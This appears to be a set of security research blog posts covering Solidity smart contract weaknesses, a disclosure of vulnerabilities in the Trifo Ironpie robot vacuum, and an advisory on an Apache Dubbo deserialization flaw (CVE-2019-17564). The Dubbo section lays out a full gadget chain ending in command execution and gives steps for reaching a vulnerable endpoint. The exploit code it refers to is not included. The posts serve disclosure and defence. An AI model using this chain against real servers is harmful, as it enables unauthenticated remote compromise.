• In 2018, Denial-of-Service by External Contract, and Reentrancy, were the top 2 issues. However, the issues were are now remedied. You can learn more about Reentrancy in our recent research blog: Checkmarx Research: Solidity and Smart Contracts from a Security Standpoint. When Solidity v0.6.x was released that introduced a lot of breaking changes, 50% of scanned Smart Contracts were not even ready for Solidity compiler v0.5.0. This becomes even more relevant since 30% of the Smart Contracts use deprecated constructions (e.g., sha3, throw constant, etc.), and 83% had issues with the compiler version specification (pragma).
• Although visibility issues didn’t make it in the 2018 Top 10 list, nor in this updated version, they have increased by 48%. You can read more about this issue in our previous blog and the official documentation.

The table below compares the changes between the 2018 and 2020 Top 10 Common Issues lists. The issues were sorted by severity and prevalence.

Solidity Top 10 Common Issues

S1 – Unchecked External Call

This was the third most-common issue on our previous Top 10 list. Since the top 2 issues are now resolved, Unchecked External Call has moved up to the most common issue in the 2020 updated list.
Solidity low-level call methods (e.g., address.call()) do not throw an exception. Instead, they return false if the call encounters an exception. On the other hand, contract calls (e.g., ExternalContract.doSomething()) automatically propagate a throw if doSomething() throws.
Transferring Ether using addr.send()is a good example where unsuccessful transfers should be handled explicitly by checking the return value, but this is also valid for other external calls.

S2 – Costly Loops

Costly loops moved from forth on the Top 10 list to second. Despite the fact that the top 2 issues from our previous list are resolved, the number of affected Smart Contracts increased by almost 30%.
Computational power on Ethereum environments is paid (using Ether). Thus, reducing the computational steps required to complete an operation is not only a matter of optimization, but also cost efficiency.
Loops are a great example of costly operations: as many elements an array has, more iterations will be required to complete the loop. As you may expect, infinite loops exhaust all available gas.

If an attacker is able to influence the elements array length, then they will be able to cause a denial of service, preventing the execution to jump out of the loop. Although it was far from the Top 10 common issues, array length manipulation was found in 8% of the scanned Smart Contracts.

S3 – Overpowered Owner

This is a new entry in the Top 10 list, affecting approximately 16% of the scanned Smart Contracts.
Some contracts are tightly coupled to their owner, making some functions callable only by the owners address, as in the example below.

Both doSomething() and doSomethingElse() functions can only be called by the contract owner: the former uses the onlyOwner modifier, while the later enforces it explicitly. This poses a serious risk: if the private key of the owner gets compromised, then an attacker can gain control over the contract.

S4 – Arithmetic Precision

Solidity data types are cumbersome due to the 256 bits Virtual Machine (EVM). The language does not offer a floating point representation, and data types shorter than 32 bytes are packed together into the same 32 bytes slot. With this in mind, you should expect precision issues.

When division is performed before the multiplication, as in the example above, you should expect huge rounding errors.

S5 – Relying on tx.origin

Contracts should not rely on tx.origin for authentication, since a malicious contract may play in the middle, draining all the funds: msg.sender should be used instead.

You’ll find a detailed explanation of Tx Origin Attacks on Solidity’s documentation. Long story short, tx.origin is always the first account in the call chain, while msg.sender is the immediate caller. If the last contract in the chain relies on tx.origin for authentication, then the contract in the middle will be able to drain the funds, since no validation is performed on who’s calling (msg.sender).

S6 – Overflow / Underflow

Solidity’s 256 bits Virtual Machine (EVM) brought back overflow and underflow issues as demonstrated here. Developers should be extra careful when using uint data types in for-loop condition, since it may result in infinite loops.

In the example above, the next value for i when its value is 0 will be 2²⁵⁶-1, that makes the condition always true. Developers should prefer <, >, != and == for comparison.

S7 – Unsafe Type Inference

This issue moved up two positions, now affecting more than 17% of Smart Contracts then before.
Solidity supports Type Inference, but there are some quirks with it. For example, the literal 0 type-infers to byte, not int as we might expect.
In the example below, the type of i is inferred to uint8: the smallest integer type sufficient to store the right-hand side value. If elements has more than 256 elements, we should expect an overflow.

Explicitly declaring data types is recommended to avoid unexpected behaviors and/or errors.

S8 – Improper Transfer

This issue dropped from sixth to eighth in the Top 10 list, affecting now less than 1% of the scanned Smart Contracts.
There is more than one way to transfer Ether between contracts. Although calling the addr.transfer(x) function is the recommended way, we still found contracts using send() function instead.

Note that addr.transfer(x) automatically throws an exception if the transfer is unsuccessful, mitigating the Unchecked External Call issues previously discussed: S1.

S9 – In-Loop Transfers

When Ether is transferred in a loop, if one of the contracts cannot receive it, then the whole transaction will be reverted.

An attacker may take advantage of this behavior to cause a denial-of-service, preventing other contracts to receive Ether.

S10 – Timestamp dependence

This was fifth in the previous version of the Top 10 list.
It’s important to remember that Smart Contracts run on multiple nodes on a different time. The Ethereum Virtual Machine (EVM) does not provide clock time and the now variable, commonly used to obtain a timestamp, is in fact an environment variable (an alias of block.timestamp) which miners can manipulate.

Since miners can manipulate environment variables currently, its value should only be used in inequalities >, <, >=, and <=.
When looking for randomness, consider the RANDAO contract, which is based on a Decentralized Autonomous Organization (DAO) that anyone can participate in, being the random number generated by all participants together.

Conclusion

When comparing the 2018 and 2020 Top 10 Common Issues lists, we can observe some progress concerning development best practices, especially those impacting security. Seeing the 2018 top 2 issues, Denial-of-Service by External Contract, and Reentrancy, moving away from the top 10 is a positive sign, but there’s still important steps to take to avoid common mistakes.
Remember that Smart Contracts are immutable by design, meaning that once created, there’s no way to patch the source code. This poses a great challenge concerning security and developers should take advantage of the available application security testing tools to ensure source code is well-tested and audited before deployment.
Solidity is a very recent programming language that is still maturing. Solidity v0.6.0 introduced a few breaking changes and more are expected in the upcoming versions.
Discovering issues and risks like the ones mentioned herein is why the Checkmarx Security Research team performs investigations. This type of research activity is part of their ongoing efforts to drive the necessary changes in software security practices among organizations worldwide.

References

• Checkmarx Research: Solidity and Smart Contracts from a Security Standpoint
• Solidity official documentation
• Solidity Security Considerations: tx.origin
• Type Inference – Wikipedia
• RANDAO: A DAO working as RNG of Ethereum
• SmartCheck: Static Analysis of Ethereum Smart Contracts
• Recommendations for Smart Contract Security in Solidity

As part of the ongoing research performed by the Checkmarx Security Research Team, recently, they were investigating several IoT devices, including the Ironpie M6 smart vacuum cleaner by Trifo. Since the device has a video camera, the team was interested in testing the security and privacy of the vacuum.

According to Trifo, the Ironpie is “An AI-powered robot vacuum that vacuums up dirt, dust, crumbs – even sand – like no one’s business” and it claims that its “mission is to clean and protect your home, so you can do more important things. I keep your home safe from dirt, dust, crumbs, sand and more; and also use my advanced vision system to keep intruders out. I am always alert and never sleep on the job.”
The Trifo can be connected to the internet via WiFi, and be controlled remotely for vacuuming, as well as for remote video stream viewing, since it incorporates a video camera. The security concerns of connecting video cameras to the internet should be obvious, and that was one of the motivators behind this research.

As a result of research team’s investigation, several high- and medium-severity security vulnerabilities were discovered. A summary of the vulnerabilities can be seen in table below. These vulnerabilities may put Ironpie’s users at risk and should be fixed as soon as possible. A video of our team exploiting the discovered vulnerabilities can be found here.

In this research, several vulnerabilities and bad coding practices were identified. Some of them were weak security implementations with no practical use cases, while others show profound misguidance regarding a serious security stance on a self-proclaimed security product, as was the case with Trifo.
There are 3 areas of potential fault that are important to understand. Issues can be found in each component that makes the Ironpie ecosystem work:

• the vacuum itself,
• the Android mobile app,
• and its supporting backend servers.

Summary of the Issues Discovered

Trifo Home Android App Insecure Update

The Trifo Android app, called Trifo Home, is mostly secure in terms of common Android programming mistakes, except for a critical procedure: the update procedure. The update is made in a non-standard way, (e.g., not via the Google Play Store.)
Since the Trifo app uses an HTTP request when the application starts to query the update server for a new APK (android package, .apk), an attacker can monitor and easily change the request in transit and force the application to update itself to a malicious version – controlled by an attacker.

MQTT Remote Access

MQTT is a machine-to-machine (M2M), IoT connectivity protocol. It was designed as an extremely lightweight publish/subscribe messaging transport. In the case of Trifo, the supporting MQTT servers are a bridge between the Trifo vacuum, the backend servers, and the Trifo Home app. The servers are used to provide and receive events from the vacuums deployed, which are then passed along to the graphical user interface (GUI) of the appropriate Trifo Home app.
Lacking a proper authentication mechanism, an attacker can connect to the MQTT servers impersonating any client ID, which are easily predictable.

MQTT Insecure Encryption

While the Android app uses MQTT over SSL, the Ironpie vacuum connects to the MQTT servers via an unencrypted connection, exchanges some packets, and after that the MQTT payload is encrypted. This basically lets an attacker to calculate any client ID. With this knowledge, it is possible for:

• A remote attacker to monitor traffic coming into the Ironpie since he can subscribe and get traffic to any MAC address, which is easily guessable. This includes the dev_key which can be used to decrypt all traffic.
• A local attacker can also impersonate the MQTT server, hence taking full control of the vacuum.

RTMP Video Feed Access

It is possible for a remote attacker to access information via MQTT, such as the SSID of the network the vacuum is connected to, obtain the internal vacuum IP address, its MAC address, and other info. With this information, an attacker can derive a key that allows them to gain access to the video feed of all connected, working, Ironpie vacuums, regardless of where they are located.

Summary of Disclosure and Events

When the vulnerabilities were first discovered, our research team ensured that they could reproduce the process of exploiting them. Once that was confirmed, the Checkmarx research team responsibly notified Trifo of their findings. After multiple attempts by the Checkmarx Security Research Team to open up a line of communication with Trifo pertaining to the discovered vulnerabilities, Trifo has not responded to any of our efforts. The research team initially contacted Trifo on 16-Dec-2019 and openly shared the full report of their findings with them.
As far as the Checkmarx Research Team knows, the vulnerabilities still exist in the Trifo Ironpie ecosystem. As a result, the team is not releasing any additional technical information about the vulnerabilities at this time – to ensure Checkmarx is not putting Trifo Ironpie users at unnecessary risk. If and when Trifo patches the vulnerabilities, Checkmarx will publish a more robust technical report outlining how we were able to exploit these issues, as we believe there is great learning value within to help pave the way for safer device development.

Final Words

This type of research activity is part of our ongoing efforts to drive the necessary changes in software security practices among vendors that manufacture consumer-based IoT devices, while bringing more security awareness amid the consumers who purchase and use them. Protecting the privacy of consumers and organizations must be a priority for all of us in today’s increasingly connected world.

Having developed a high level of interest in serialization attacks in recent years, I’ve decided to put some effort into researching Apache Dubbo some months back. Dubbo, I’ve learned, deserializes many things in many ways, and whose usage world-wide has grown significantly after its adoption by the Apache Foundation.

Figure 1 – Dubbo Architecture
According to a mid-2019 press-release, Dubbo is “in use at dozens of companies, including Alibaba Group, China Life, China Telecom, Dangdang, Didi Chuxing, Haier, and Industrial and Commercial Bank of China, among others”. In the same press-release, Apache announced Dubbo being promoted into an Apache Top-Level Project.

Figure 2 – Dubbo Users, According to Apache Dubbo Website
I discovered that Apache Dubbo providers and consumers using versions <= 2.7.3 of Dubbo, when configured to accept the HTTP protocol, allows a remote attacker to send a malicious object to the exposed service, which would result in Remote Code Execution. This occurs with no authentication, and minimal knowledge on an attacker’s part is required to exploit this vulnerability. Specifically, only the exploit described herein and a URL is required to successfully exploit it on any Dubbo instance with HTTP enabled. A proof of concept video also accompanies this report.
An attacker can exploit this vulnerability to compromise a Dubbo provider service, which is expecting remote connections from its consumers. An attacker can then replace the Dubbo provider with a malicious Dubbo provider, which could then respond to its consumers with a similar malicious object – again resulting in Remote Code Execution. This allows an attacker to compromise an entire Dubbo cluster.
The root cause for this issue is due to the use of a remote deserialization service in Spring Framework, whose documentation explicitly recommends not to use it with untrusted data, in-tandem with an outdated library, which contains a lesser-known gadget chain that enables code execution. A combination of unsafe deserialization of untrusted data, and a gadget chain, is what bridges the gap between remote access and remote unauthenticated code execution.
Credits are in order to Chris Frohoff and Moritz Bechler for their research and tools (ysoserial and marshalsec), as some of their code was used in the gadget chain, and their research laid the foundation for this exploit.

Severity

Checkmarx considers this vulnerability to have a CVS Score of 9.8 (Critical), since it is an unauthenticated remote code execution vulnerability that provides privileges at the Dubbo service’s permission level, allowing complete compromise of that service’s confidentiality, integrity, and accessiblity.
While not all Dubbo instances are configured to use the HTTP protocol, instances with known vulnerable versions that are configured to use this protocol would be trivially vulnerable, given minimal and readily available information, which is the URL to the vulnerable service. This service URL would be publically available within the network, via services such as a registry (e.g. Zookeeper), and is not considered secret or confidential.
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:U/RC:C/CR:H/IR:H/AR:H

Specifications

What’s Going On?

Unsafe deserialization occurs within a Dubbo application which has HTTP remoting enabled. An attacker may submit a POST request with a Java object in it to completely compromise a Provider’ instance of Apache Dubbo, if this instance enables HTTP.
The Dubbo HTTP instance attempts to deserialize data within the Java ObjectStream, which contains a malicious set of classes, colloquially referred to as a gadget chain, whose invocation results in the execution of malicious code. In this instance, the malicious code in question allows arbitrary OS commands, and the invocation of the gadget chain occurs when an internal toString call is made in the Dubbo instance on this gadget chain, during exception creation.

Recreating the Issue

An attacker can submit a POST request with a malicious object to a bean URL for an Apache Dubbo HTTP Service, which would result in remote code execution. The bean, in this case, is the interface implementation class bound by Spring to a given Dubbo protocol endpoint. The bean is wired to a URL, and the request body for the bean contains an HTTP Remote Invocation used to determine which bean method is invoked, and with what parameters.
Once an attacker has the bean’s URL, all they have to do to exploit this vulnerability is to submit a malicious gadget chain via a standard POST request.
A new gadget chain which allows remote OS command execution was found in the scope of vanilla Apache Dubbo with Dubbo-Remoting-HTTP, if the HTTP service and protocol are enabled.

Recreating a Victim Dubbo HTTP Instance for PoC

Follow this guide:

1. Follow the Official Apache Dubbo Quick-Start guide until a functioning provider and registry are successfully created
2. Enable Dubbo HTTP service – Edit dubbo-demo-provider.xml – change dubbo:protocol name to “http”

Targeting a Vulnerable Instance

To trigger this vulnerability, an attacker must identify a URL to the Dubbo HTTP bean. URL addresses are generally not confidential or privileged, since they can be obtained from Dubbo service registries (e.g., Zookeeper), multicasts, and, in the absence of a well-deployed HTTPS pipeline, allow Man-in-the-Middle attacks.

Triggering Vulnerability PoC

Review Appendix 1 for functioning POC code. Note that variables such as the IP address of the Dubbo instance require modification inside this code.
An attacker requires the same dependencies as the Dubbo HTTP Service, stated above. In this PoC, com.nqzero:permit-reflect for reflection features required during serialization, and org.apache.httpcomponents.httpclient was used to send the malicious gadget to the HTTP service. To trigger the vulnerability, a new gadget chain was engineered using means available within the class space of Apache Dubbo and JDK.
This gadget chain uses the following components:

• springframework.remoting.httpinvoker.HttpInvokerServiceExporter – this is the deserialization entry point, deserializing the request body. Deserialization of HashMaps, and Java Collections in general, invokes their value insertion methods. In this case, this will invoke HashMap.putVal(h,k,v).
• A HashMap of two org.springframework.aop.target.HotSwappableTargetSource objects, one containing a JSONObject as a target, and another containing a com.sun.org.apache.xpath.internal.objects.XString object as a target
  • HotSwappableTargetSource objects always return the same hashcode (class.hashCode()), which forces the HashMap.putVal(h,k,v) into running deeper equality checks on HashMap keys, trigger equals() on its contents – the two HotSwappableTargetSource member objects
  • HotSwappableTargetSource equality checks validate if the target objects inside HotSwappableTargetSource are equal; in this case – an XString and a JSONObject
  • The XString.equals(object) triggers a call equivalent to this.toString().equals(object.toString()) call, which would trigger JSONObject.toString()
• JSONObject – org.apache.dubbo.common.json.JSONObject, which is a deprecated class within Dubbo, is used to handle JSON data. If a JSONObject.toString() is invoked, the super method JSON.toJSONString() will be invoked
  • A toJSONString() call will attempt to serialize the object into JSON using JSONSerializer, which invokes a serializer. This serializer is generated using the ASMSerializerFactory. This factory attempts to serialize all getter methods in objects stored inside JSONObject.
• TemplatesImpl partial gadget – this known gadget is utilized by many gadget chains in ysoserial and marshalsec. This partial gadget generates a malicious com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl object. If this object’s newTransformer() method is invoked, the chain will execute java.lang.Runtime.getRuntime().exec(command)
  • Since JSONObject.toJSONString attempts to serialize all getter methods, the method TemplatesImpl.getOutputProperties() is also invoked
  • Internally, TemplatesImpl.getOutputProperties() method invokes newTransformer() to get the properties from a generated transformer

Figure 3 – Exploit Bytecode
Once newTransformer is invoked, a flow is complete between deserialization at HttpInvokerServiceExporter.doReadRemoteInvocation(ObjectInputStream ois) and java.lang.Runtime.getRuntime().exec(command), thus enabling remote code execution.
The final gadget chain’s structure is:

Once the vulnerability is triggered, and malicious code is executed (and, in the PoC, an instance of calc.exe pops on the server), an exception will be thrown. However, the application will continue to function as intended otherwise, resulting in stable exploitation for the given gadget chain.

Figure 4 – PoC Outcome

Why Is This Happening?

Apache Dubbo using HTTP remoting occurs when a Dubbo application is created using the HTTP protocol over the Spring framework. A combination of a known-vulnerable class in Spring being invoked naively by Dubbo deserializes user input using the extremely vulnerable (and nigh indefensible) ObjectInputStream. An attacker may provide a payload which, when deserialized, will trigger a cascade of objects and method invocations which, given a vulnerable gadget chain in deserialization scope, may result in Remote Code Execution, as will be demonstrated in this POC.
The vulnerable Spring Remoting class is HttpInvokerServiceExporter. From the Spring documentation:
“WARNING: Be aware of vulnerabilities due to unsafe Java deserialization: Manipulated input streams could lead to unwanted code execution on the server during the deserialization step. As a consequence, do not expose HTTP invoker endpoints to untrusted clients but rather just between your own services. In general, we strongly recommend any other message format (e.g. JSON) instead.”
This is exactly what happens with Dubbo HTTP Remoting. By using the Dubbo HTTP remoting module, an HTTP endpoint is exposed that receives an HTTP request of the following structure:

• A POST request
  • Whose URL refers to the packagename.classname for the bean exposed by the provider, which is wired by Dubbo to the actual package and class
  • Whose body is a stream of an object, as serialized by ObjectOutputStream

The HttpProtocol handler parses the incoming org.apache.dubbo.rpc.protocol.http.HttpRemoteInvocation object using the HttpInvokerServiceExporter, which, internally, utilizes ObjectInputStream to deserialize it. HttpRemoteInvocation contains an invocation call to a certain method, and the arguments to pass to this method. However, with ObjectInputStream, any arbitrary serialized Java object can be passed, which would then be deserialized in an insecure manner, resulting in unsafe deserialization.
ObjectInputStream, on its own without any external classes, is vulnerable to memory exhaustion and heap overflow attacks, when it is used to deserialize malformed nested objects.
If an ObjectInputStream deserializable gadget chain is available within code scope that allows code or command execution, an attacker can exploit this to craft an object that results in Remote Code Execution. Such a gadget chain was found and exploited.

Tainted Code Flow

Within the Dubbo HTTP service, the following occurs:

1. JavaX HttpServlet is invoked with user input
2. This input is passed to the Dubbo remoting dispatcher, DispatcherServlet, which uses an HttpHandler, an internal class in HttpProtocol, to handle the request and return a response
3. InternalHandler.handle() creates the insecure HttpInvokerServiceExporter in line 210 and invokes it on the request in line 216
4. From there, internal calls in HttpInvokerServiceExporter finally pass the request stream into an ObjectInputStream in line 115, which is then internally read by the handler’s superclass RemoteInvocationSerializingExporter in line 144.
5. The gadget chain is then triggered by the ObjectInputStream readObject operation

Required Prior Knowledge for Exploitation

The only piece of knowledge required to exploit an open HTTP port to a Dubbo HTTP Remoting service is the name of a Remote Invocation interface’s package and class. This information is used to craft the URL to which a serialized malicious object must be submitted, which is standard Spring bean behavior. For example, if the remoted interface’s package is named “org.apache.dubbo.demo” and the interface being remoted is named “DemoService”, an attacker needs to POST an object serialized by ObjectOutputStream to the URL “https://domain:port/org.apache.dubbo.demo.DemoService”. This information can be obtained with various methods:

• Querying a Zookeeper for available beans, if Dubbo uses a Zookeeper as a registry
• Observing HTTP traffic via Man-in-the-Middle attacks
• Spoofing is also likely to be possible if Dubbo uses a multicast to find services (this was not tested)
• Other means, such as logging services

No additional information is required to perform the attack.
It should be noted that URL paths are generally not considered confidential information, and hiding a vulnerable web service behind an allegedly unknowable URL path would constitute security through obscurity.

Summary of Disclosure and Timeline

When the vulnerability was first discovered, the Checkmarx research team ensured that they could reproduce the process of easily exploiting it. Once that was confirmed, the research team responsibly notified Apache of their findings.

Disclosure Timeline

• 13/8/2019 – Checkmarx provides full disclosure to security@apache.org, issue forwarded to security@dubbo.apache.org
• 6/9/2019 – Acknowledgement by Apache, Dubbo team that issue is clear
• 4/10/2019 – Dubbo team responds regarding technical specifics of intended fix. Checkmarx responds by further explaining the issue – this is the first and last time technical issues are brought up by anyone at Apache in the context of this disclosure
• 24/11/2019 – Reminder sent after 90 days had elapsed and publication is imminent with no action on Apache’s part
• 3/12/2019 – Apache had requested more time to re-evaluate this issue prior to Checkmarx report publishing. This request was granted, with Apache confirming two days later that a CVE will be issued and a proper fix will be released
• 11/2/2020 – CVE-2019-17564 disclosed via dev@dubbo.apache.org mailing list, six months (180 days) after original disclosure
• 12/2/2020 – first POC emerges in the wild, but it does not contain the new gadget chain disclosed in this article

Package Versions

org.apache.dubbo.dubbo – 2.7.3
org.apache.dubbo.dubbo-remoting-http – 2.7.3
org.springframework.spring-web – 5.1.9.RELEASE

Vendor Mitigation

The Apache Dubbo team has resolved this issue by updating FastJSON, which contains the latest version of JSONObject, to its latest version in the project dependencies. This effectively breaks the current chain. They have also replaced the deserialization mechanism used by the HTTP protocol, altering the communication protocol, ensuring this specific exploit will not work.

Conclusions

The Dubbo HTTP Remoting service is vulnerable to unauthenticated Remote Code Execution, with virtually no prior knowledge required, other than a URL, for successful exploitation.
The root cause of this issue is the usage of an unsafe Spring class, HttpInvokerServiceExporter, for binding an HTTP service to. This class utilizes a standard Java ObjectStream with no security mechanisms in the form of a class whitelist, which in turn means deserialization allows invocation of arbitrary classes whose deserialization process may trigger malicious code. Use of this class should be discontinued, and replaced with a robust solution that whitelists expected classes in Dubbo HTTP beans.
This type of research activity is part of the Checkmarx Security Research Team’s ongoing efforts to drive the necessary changes in software security practices among all organizations in an effort to improve security for everyone overall.

Appendix 1

Appendix 1A: DubboGadget Class

A class for attacking a Dubbo HTTP instance

Appendix 1B: Utils Class

Utility class, which includes utility methods, was used in the creation of certain parts of the malicious gadget chain and exposing certain functionality by streamlining reflections. It is derived largely from auxiliary classes and comfort methods in ysoserial by Chris Frohoff – https://github.com/frohoff/ysoserial. Additionally, the makeXStringToStringTrigger is derived from prior research by Moritz Bechler, demonstrated in https://github.com/mbechler/marshalsec

Appendix 1C: pom.xml File for DubboGadget

Maven dependencies for DubboGadget